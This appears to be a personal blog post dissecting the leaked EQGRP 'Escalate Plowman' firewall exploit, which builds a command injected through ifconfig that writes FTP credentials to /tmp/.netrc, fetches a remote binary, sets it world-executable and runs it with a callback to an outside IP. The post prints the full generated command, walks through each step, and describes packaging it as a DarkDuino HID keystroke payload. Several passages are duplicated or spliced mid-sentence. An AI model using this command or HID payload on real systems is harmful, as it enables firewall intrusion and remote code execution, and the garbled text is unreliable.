The Escalte Plowman tool
(https://github.com/dreilly369/EQGRP-Auction-Files/tree/master/Firewall/EXPLOITS/ESPL)
is a parameterized dropper (or a privelege escalation exploit) against WatchGuard firewalls (and likely a few others) of unknown versions. It injects code via the
Still its is a fun little program. It also has the virtue of not being particularly dangerous to test locally. It is not an exploiter itself, but more accurately it builds a command for someone to execute which will, in theory, download a file and execute it with escalated privileges. The exploit string builder is small and was easy to understand which is another feature I like about it. Here are the only files used:
ifconfig
command. It uses FTP, TFTP, or HTTP (via wget) for the download portions.
The code makes some assumptions about the environment. For instance,
when using the TFTP protocol it assumes the existence of a custom
tftp client located at the hard-coded location
/usr/rapidstream/bin/tftp. The sample also makes the assumption of
the interface being eth0.Still its is a fun little program. It also has the virtue of not being particularly dangerous to test locally. It is not an exploiter itself, but more accurately it builds a command for someone to execute which will, in theory, download a file and execute it with escalated privileges. The exploit string builder is small and was easy to understand which is another feature I like about it. Here are the only files used:
The escalateplowman_1.1.0.1.py file is
the least interesting as it just ties the params.py file to the
workit.py file.
configurable params:
- download* (string) parse to: dl_proto, dl_ip, dl_port, dl_file, dl_user, dl_pass. - This is the string containing the tool to grab including the protocol and all the connection details
- callback* ("30.40.50.60:9342") parse to: callback_ip, callback_port . - An IP:Port that will receive a callback ping after the code is executed.
- verbose - Only appears to print "verbose mode ON"in this version
- debug – Outputs helpful messages such as the shell_command string intermediate steps.
* means required field
An example of the usage is:
python escalateplowman_1.1.0.1.py --download="ftp://unamehere:Assword-here@0.0.0.0:22/rfs/toolname-here" –debug --callback 30.40.50.60:443
which outputs:
ifconfig "$(bash -c \"$(echo -e 'echo default login unamehere password Assword-here macdef init \\x3e /tmp/.netrc\\x3b echo binary \\x3e\\x3e /tmp/.netrc\\x3b echo get rfs/toolname-here /tmp/rfs/toolname-here \\x3e\\x3e /tmp/.netrc\\x3b echo quit \\x3e\\x3e /tmp/.netrc\\x3b echo \\x3e\\x3e /tmp/.netrc\\x3b echo \\x3e\\x3e /tmp/.netrc\\x3b chmod 600 /tmp/.netrc\\x3b HOME=/tmp ftp 0.0.0.0 22 \\x3e /dev/null\\x3b rm -f /tmp/.netrc\\x3b chmod 777 /tmp/rfs/toolname-here\\x3b D=-c30.40.50.60 :443 /tmp/rfs/toolname-here\\x3b echo eth0\\x3b ')\")"
*Tested on a GNU/Linux x86_64 v3.14.26-24.46.amzn1.x86_64 machine compiled Wed Dec 10 10:02:43 UTC 2014
I will come back to this output in much
better detail in just a minute, but the idea is if that command is
run on a target Linux-Based Fire Wall, it will bypass user restrictions,
download a binary, and then execute it.
The params.py file is used to build the
command line option parser. It contains the logic to determine
download parameters and pass them along to the workit.py code.
The three functions do basically what
their name implies. Bail() handles exiting on errors, display()
handles the menu construction and and parse() is used to do just
that. Parse the input of the options into it's constituent parts.
Let's look at what the actual code is
doing now. At a high-level it is building a custom script to access
the server you defined and calling ifconfig with the script (built
using bash -c) to effect the download. The exact contents of the
script are determined in the workit.py file and are based off of the
network protocol you specified in the –download option. As
previously mentioned the valid protocols built in are FTP, HTTP, or
TFTP. We could probably extend this if needed, but I am going to
leave that for some other time. Continuing from the example usage
above we can see that the FTP code uses bash to build a custom netrc
file in the temp directory:
echo default login unamehere password Assword-here macdef init > /tmp/.netrc
echo binary >> /tmp/.netrc;
The next command
sets up the actual download remote and local locations
echo get rfs/toolname-here /tmp/rfs/toolname-here >> /tmp/.netrc;
For the last part
of the script it quits out then and appends 2 empty lines:
echo quit >> /tmp/.netrc; echo >> /tmp/.netrc; echo >> /tmp/.netrc;
Of course we need
to set the permission flags properly:
chmod 600 /tmp/.netrc;
next it sets HOME to be /tmp with a
call to the ftp client with the server credentials provided as part
of the –download string. It pipes the stdout to /dev/null.
HOME=/tmp ftp 0.0.0.0 22 > /dev/null;
Now the netrc script will execute
grabbing the tool from the remote location and placing it in a local
mirror directory (under /tmp/rfs/ in this example). So the script
cleans up after itself with:
rm -f /tmp/.netrc;
It makes the downloaded tool executable
by the world:
It sets D to be the callback location defined in the –callback parameter and executes the tool in the local /tmp directory:chmod 777 /tmp/rfs/toolname-here;
“D=-c30.40.50.60 :443 /tmp/rfs/toolname-here;”
Last it sets the interface to do all
this dancing on to eth0 and closes out the bash script tags, etc:
The other protocols have similar functionality so I will not dive into each as deeply. Below are some notes on the code in the workit.py file.echo eth0; ')")"
As you can see the
structure of the file is pretty simple. We already showed the result of it
preparing a parameterized payload based off of the FTP protocol, but
this is how it actually happens.
Once the main code calls
params.parse() the param object is filled in with all the
pertinent download details. The main script then passes this object
to the workit.prepare_command() function.
The
example protocol was ftp so the parameters were passed again into the
prepare_ftp() function:
The other functions it could have been
passed to are below as well. First this is the HTTP function. It uses
wget instead of a netrc file to get the given resource.
The TFTP code assumes a hard coded
location /usr/rapidstream/bin/tftp for the client to use, Other than
that it is very similar to the other two.
Now that we have a good understanding
of the code and what it will output It seems to me that this is a
perfect candidate for an HID attack vector. Converting this to a
DarkDuino Payload was simply a matter of breaking the command into
reasonable chunks and re-escaping the escapes in the nested commands.
The
push-button brings Pin 4 to ground which fires off the above
escalated command in a matter of seconds without worrying
about my fat-finger typing slowing things down. Simply connect to the target firewall, push the button, and watch the magic happen.
For more on the
DarkDuino tool checkout my previous two posts on building it
(http://the-it-ninja.blogspot.com/2015/09/building-darkduino-tool.html),
and programming it with a similar payload for Windows based on
PowerShell
(http://the-it-ninja.blogspot.com/2015/10/darkduino-payload-1-powershell-dne.html).
No comments:
Post a Comment